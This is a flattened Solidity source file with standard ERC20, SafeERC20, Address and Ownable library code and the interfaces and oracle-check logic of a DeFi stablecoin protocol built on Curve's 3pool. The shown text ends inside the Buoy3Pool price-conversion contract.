* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https:
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https:
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https:
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https:
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https:
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https:
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
pragma solidity >=0.6.0 <0.7.0;
contract Constants {
uint8 public constant N_COINS = 3;
uint8 public constant DEFAULT_DECIMALS = 18;
uint256 public constant DEFAULT_DECIMALS_FACTOR = uint256(10)**DEFAULT_DECIMALS;
uint8 public constant CHAINLINK_PRICE_DECIMALS = 8;
uint256 public constant CHAINLINK_PRICE_DECIMAL_FACTOR = uint256(10)**CHAINLINK_PRICE_DECIMALS;
uint8 public constant PERCENTAGE_DECIMALS = 4;
uint256 public constant PERCENTAGE_DECIMAL_FACTOR = uint256(10)**PERCENTAGE_DECIMALS;
uint256 public constant CURVE_RATIO_DECIMALS = 6;
uint256 public constant CURVE_RATIO_DECIMALS_FACTOR = uint256(10)**CURVE_RATIO_DECIMALS;
}
pragma solidity >=0.6.0 <0.7.0;
interface IToken {
function factor() external view returns (uint256);
function factor(uint256 totalAssets) external view returns (uint256);
function mint(
address account,
uint256 _factor,
uint256 amount
) external;
function burn(
address account,
uint256 _factor,
uint256 amount
) external;
function burnAll(address account) external;
function totalAssets() external view returns (uint256);
function getPricePerShare() external view returns (uint256);
function getShareAssets(uint256 shares) external view returns (uint256);
function getAssets(address account) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.7.0;
interface IVault {
function withdraw(uint256 amount) external;
function withdraw(uint256 amount, address recipient) external;
function withdrawByStrategyOrder(
uint256 amount,
address recipient,
bool reversed
) external;
function withdrawByStrategyIndex(
uint256 amount,
address recipient,
uint256 strategyIndex
) external;
function deposit(uint256 amount) external;
function updateStrategyRatio(uint256[] calldata strategyRetios) external;
function totalAssets() external view returns (uint256);
function getStrategiesLength() external view returns (uint256);
function strategyHarvestTrigger(uint256 index, uint256 callCost) external view returns (bool);
function strategyHarvest(uint256 index) external returns (bool);
function getStrategyAssets(uint256 index) external view returns (uint256);
function token() external view returns (address);
function vault() external view returns (address);
function investTrigger() external view returns (bool);
function invest() external;
}
pragma solidity >=0.6.0 <0.7.0;
contract FixedStablecoins is Constants {
address public immutable DAI;
address public immutable USDC;
address public immutable USDT;
uint256 public immutable DAI_DECIMALS;
uint256 public immutable USDC_DECIMALS;
uint256 public immutable USDT_DECIMALS;
constructor(address[N_COINS] memory _tokens, uint256[N_COINS] memory _decimals) public {
DAI = _tokens[0];
USDC = _tokens[1];
USDT = _tokens[2];
DAI_DECIMALS = _decimals[0];
USDC_DECIMALS = _decimals[1];
USDT_DECIMALS = _decimals[2];
}
function underlyingTokens() internal view returns (address[N_COINS] memory tokens) {
tokens[0] = DAI;
tokens[1] = USDC;
tokens[2] = USDT;
}
function getToken(uint256 index) internal view returns (address) {
if (index == 0) {
return DAI;
} else if (index == 1) {
return USDC;
} else {
return USDT;
}
}
function decimals() internal view returns (uint256[N_COINS] memory _decimals) {
_decimals[0] = DAI_DECIMALS;
_decimals[1] = USDC_DECIMALS;
_decimals[2] = USDT_DECIMALS;
}
function getDecimal(uint256 index) internal view returns (uint256) {
if (index == 0) {
return DAI_DECIMALS;
} else if (index == 1) {
return USDC_DECIMALS;
} else {
return USDT_DECIMALS;
}
}
}
contract FixedGTokens {
IToken public immutable pwrd;
IToken public immutable gvt;
constructor(address _pwrd, address _gvt) public {
pwrd = IToken(_pwrd);
gvt = IToken(_gvt);
}
function gTokens(bool _pwrd) internal view returns (IToken) {
if (_pwrd) {
return pwrd;
} else {
return gvt;
}
}
}
contract FixedVaults is Constants {
address public immutable DAI_VAULT;
address public immutable USDC_VAULT;
address public immutable USDT_VAULT;
constructor(address[N_COINS] memory _vaults) public {
DAI_VAULT = _vaults[0];
USDC_VAULT = _vaults[1];
USDT_VAULT = _vaults[2];
}
function getVault(uint256 index) internal view returns (address) {
if (index == 0) {
return DAI_VAULT;
} else if (index == 1) {
return USDC_VAULT;
} else {
return USDT_VAULT;
}
}
function vaults() internal view returns (address[N_COINS] memory _vaults) {
_vaults[0] = DAI_VAULT;
_vaults[1] = USDC_VAULT;
_vaults[2] = USDT_VAULT;
}
}
pragma solidity >=0.6.0 <0.7.0;
interface ICurve3Pool {
function coins(uint256 i) external view returns (address);
function get_virtual_price() external view returns (uint256);
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function calc_token_amount(uint256[3] calldata inAmounts, bool deposit) external view returns (uint256);
function balances(uint256 i) external view returns (uint256);
}
interface ICurve3Deposit {
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function add_liquidity(uint256[3] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity(uint256 amount, uint256[3] calldata min_uamounts) external;
function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
}
interface ICurveMetaPool {
function coins(uint256 i) external view returns (address);
function get_virtual_price() external view returns (uint256);
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function calc_token_amount(uint256[2] calldata inAmounts, bool deposit) external view returns (uint256);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function add_liquidity(uint256[2] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
}
interface ICurveZap {
function add_liquidity(uint256[4] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity(uint256 amount, uint256[4] calldata min_uamounts) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256);
function calc_token_amount(uint256[4] calldata inAmounts, bool deposit) external view returns (uint256);
function pool() external view returns (address);
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.7.0;
interface IController {
function stablecoins() external view returns (address[3] memory);
function vaults() external view returns (address[3] memory);
function underlyingVaults(uint256 i) external view returns (address vault);
function curveVault() external view returns (address);
function pnl() external view returns (address);
function insurance() external view returns (address);
function lifeGuard() external view returns (address);
function buoy() external view returns (address);
function reward() external view returns (address);
function isValidBigFish(
bool pwrd,
bool deposit,
uint256 amount
) external view returns (bool);
function withdrawHandler() external view returns (address);
function emergencyHandler() external view returns (address);
function depositHandler() external view returns (address);
function totalAssets() external view returns (uint256);
function gTokenTotalAssets() external view returns (uint256);
function eoaOnly(address sender) external;
function getSkimPercent() external view returns (uint256);
function gToken(bool _pwrd) external view returns (address);
function emergencyState() external view returns (bool);
function deadCoin() external view returns (uint256);
function distributeStrategyGainLoss(uint256 gain, uint256 loss) external;
function burnGToken(
bool pwrd,
bool all,
address account,
uint256 amount,
uint256 bonus
) external;
function mintGToken(
bool pwrd,
address account,
uint256 amount
) external;
function getUserAssets(bool pwrd, address account) external view returns (uint256 deductUsd);
function referrals(address account) external view returns (address);
function addReferral(address account, address referral) external;
function getStrategiesTargetRatio() external view returns (uint256[] memory);
function withdrawalFee(bool pwrd) external view returns (uint256);
function validGTokenDecrease(uint256 amount) external view returns (bool);
}
pragma solidity >=0.6.0 <0.7.0;
interface IPausable {
function paused() external view returns (bool);
}
pragma solidity >=0.6.0 <0.7.0;
contract Controllable is Ownable {
address public controller;
event ChangeController(address indexed oldController, address indexed newController);
modifier whenNotPaused() {
require(!_pausable().paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(_pausable().paused(), "Pausable: not paused");
_;
}
function ctrlPaused() public view returns (bool) {
return _pausable().paused();
}
function setController(address newController) external onlyOwner {
require(newController != address(0), "setController: !0x");
address oldController = controller;
controller = newController;
emit ChangeController(oldController, newController);
}
function _controller() internal view returns (IController) {
require(controller != address(0), "Controller not set");
return IController(controller);
}
function _pausable() internal view returns (IPausable) {
require(controller != address(0), "Controller not set");
return IPausable(controller);
}
}
pragma solidity >=0.6.0 <0.7.0;
interface IBuoy {
function safetyCheck() external view returns (bool);
function updateRatios() external returns (bool);
function updateRatiosWithTolerance(uint256 tolerance) external returns (bool);
function lpToUsd(uint256 inAmount) external view returns (uint256);
function usdToLp(uint256 inAmount) external view returns (uint256);
function stableToUsd(uint256[3] calldata inAmount, bool deposit) external view returns (uint256);
function stableToLp(uint256[3] calldata inAmount, bool deposit) external view returns (uint256);
function singleStableFromLp(uint256 inAmount, int128 i) external view returns (uint256);
function getVirtualPrice() external view returns (uint256);
function singleStableFromUsd(uint256 inAmount, int128 i) external view returns (uint256);
function singleStableToUsd(uint256 inAmount, uint256 i) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.7.0;
interface IChainPrice {
function getPriceFeed(uint256 i) external view returns (uint256 _price);
}
pragma solidity >=0.6.0 <0.7.0;
interface IERC20Detailed {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity >=0.6.0 <0.7.0;
contract Buoy3Pool is FixedStablecoins, Controllable, IBuoy, IChainPrice {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public oracle_check_tolerance = 20;
uint256 constant CHAIN_FACTOR = 100;
ICurve3Pool public immutable curvePool;
mapping(uint256 => uint256) public lastRatio;
address public immutable daiUsdAgg;
address public immutable usdcUsdAgg;
address public immutable usdtUsdAgg;
event LogNewOracleTolerance(uint256 oldLimit, uint256 newLimit);
event LogNewRatios(uint256[N_COINS] newRatios);
constructor(
address _crv3pool,
address[N_COINS] memory _tokens,
uint256[N_COINS] memory _decimals,
address[N_COINS] memory aggregators
) public FixedStablecoins(_tokens, _decimals) {
curvePool = ICurve3Pool(_crv3pool);
daiUsdAgg = aggregators[0];
usdcUsdAgg = aggregators[1];
usdtUsdAgg = aggregators[2];
}
function setOracleTolerance(uint256 newLimit) external onlyOwner {
uint256 oldLimit = oracle_check_tolerance;
oracle_check_tolerance = newLimit;
emit LogNewOracleTolerance(oldLimit, newLimit);
}
function safetyCheck() external view override returns (bool) {
uint256[] memory finalCheck = new uint256[](N_COINS-1);
uint256 _ratio;
for (uint256 i = 1; i < N_COINS; i++) {
_ratio = curvePool.get_dy(int128(0), int128(i), getDecimal(0));
finalCheck[i - 1] = _ratio;
_ratio = abs(int256(_ratio) - int256(lastRatio[i - 1]));
if (_ratio.mul(PERCENTAGE_DECIMAL_FACTOR).div(CURVE_RATIO_DECIMALS_FACTOR) > oracle_check_tolerance) {
return false;
}
}
_ratio = abs(int256(finalCheck[0].div(finalCheck[1])) - int256(lastRatio[N_COINS - 1]));
if (_ratio.mul(PERCENTAGE_DECIMAL_FACTOR).div(CURVE_RATIO_DECIMALS_FACTOR) > oracle_check_tolerance) {
return false;
}
return true;
}
function healthCheck(uint256 tolerance) external view returns (bool, uint256) {
uint256[N_COINS] memory balances;
uint256 total;
uint256 ratio;
for (uint256 i = 0; i < N_COINS; i++) {
uint256 balance = curvePool.balances(i);
balance = balance.mul(1E18 / getDecimal(i));
total = total.add(balance);
balances[i] = balance;
}
for (uint256 i = 0; i < N_COINS; i++) {
ratio = balances[i].mul(PERCENTAGE_DECIMAL_FACTOR).div(total);
if (ratio < tolerance) {
return (false, i);
}
}
return (true, N_COINS);
}
function updateRatiosWithTolerance(uint256 tolerance) external override returns (bool) {
require(msg.sender == controller || msg.sender == owner(), "updateRatiosWithTolerance: !authorized");
return _updateRatios(tolerance);
}
function updateRatios() external override returns (bool) {
require(msg.sender == controller || msg.sender == owner(), "updateRatios: !authorized");
return _updateRatios(oracle_check_tolerance);
}
function stableToUsd(uint256[N_COINS] calldata inAmounts, bool deposit) external view override returns (uint256) {
return _stableToUsd(inAmounts, deposit);
}
function singleStableToUsd(uint256 inAmount, uint256 i) external view override returns (uint256) {
uint256[N_COINS] memory inAmounts;
inAmounts[i] = inAmount;
return _stableToUsd(inAmounts, true);
}
function stableToLp(uint256[N_COINS] calldata tokenAmounts, bool deposit) external view override returns (uint256) {
return _stableToLp(tokenAmounts, deposit);
}
function singleStableFromUsd(uint256 inAmount, int128 i) external view override returns (uint256) {
return _singleStableFromLp(_usdToLp(inAmount), i);
}
function singleStableFromLp(uint256 inAmount, int128 i) external view override returns (uint256) {
return _singleStableFromLp(inAmount, i);
}
function lpToUsd(uint256 inAmount) external view override returns (uint256) {
return _lpToUsd(inAmount);
}
function usdToLp(uint256 inAmount) external view override returns (uint256) {
return _usdToLp(inAmount);
}
function poolBalances(uint256 inAmount, uint256 totalBalance)
internal
view
returns (uint256[N_COINS] memory balances)
{
uint256[N_COINS] memory _balances;
for (uint256 i = 0; i < N_COINS; i++) {
_balances[i] = (IERC20(getToken(i)).balanceOf(address(curvePool)).mul(inAmount)).div(totalBalance);
}
balances = _balances;
}
function getVirtualPrice() external view override returns (uint256) {
return curvePool.get_virtual_price();
}
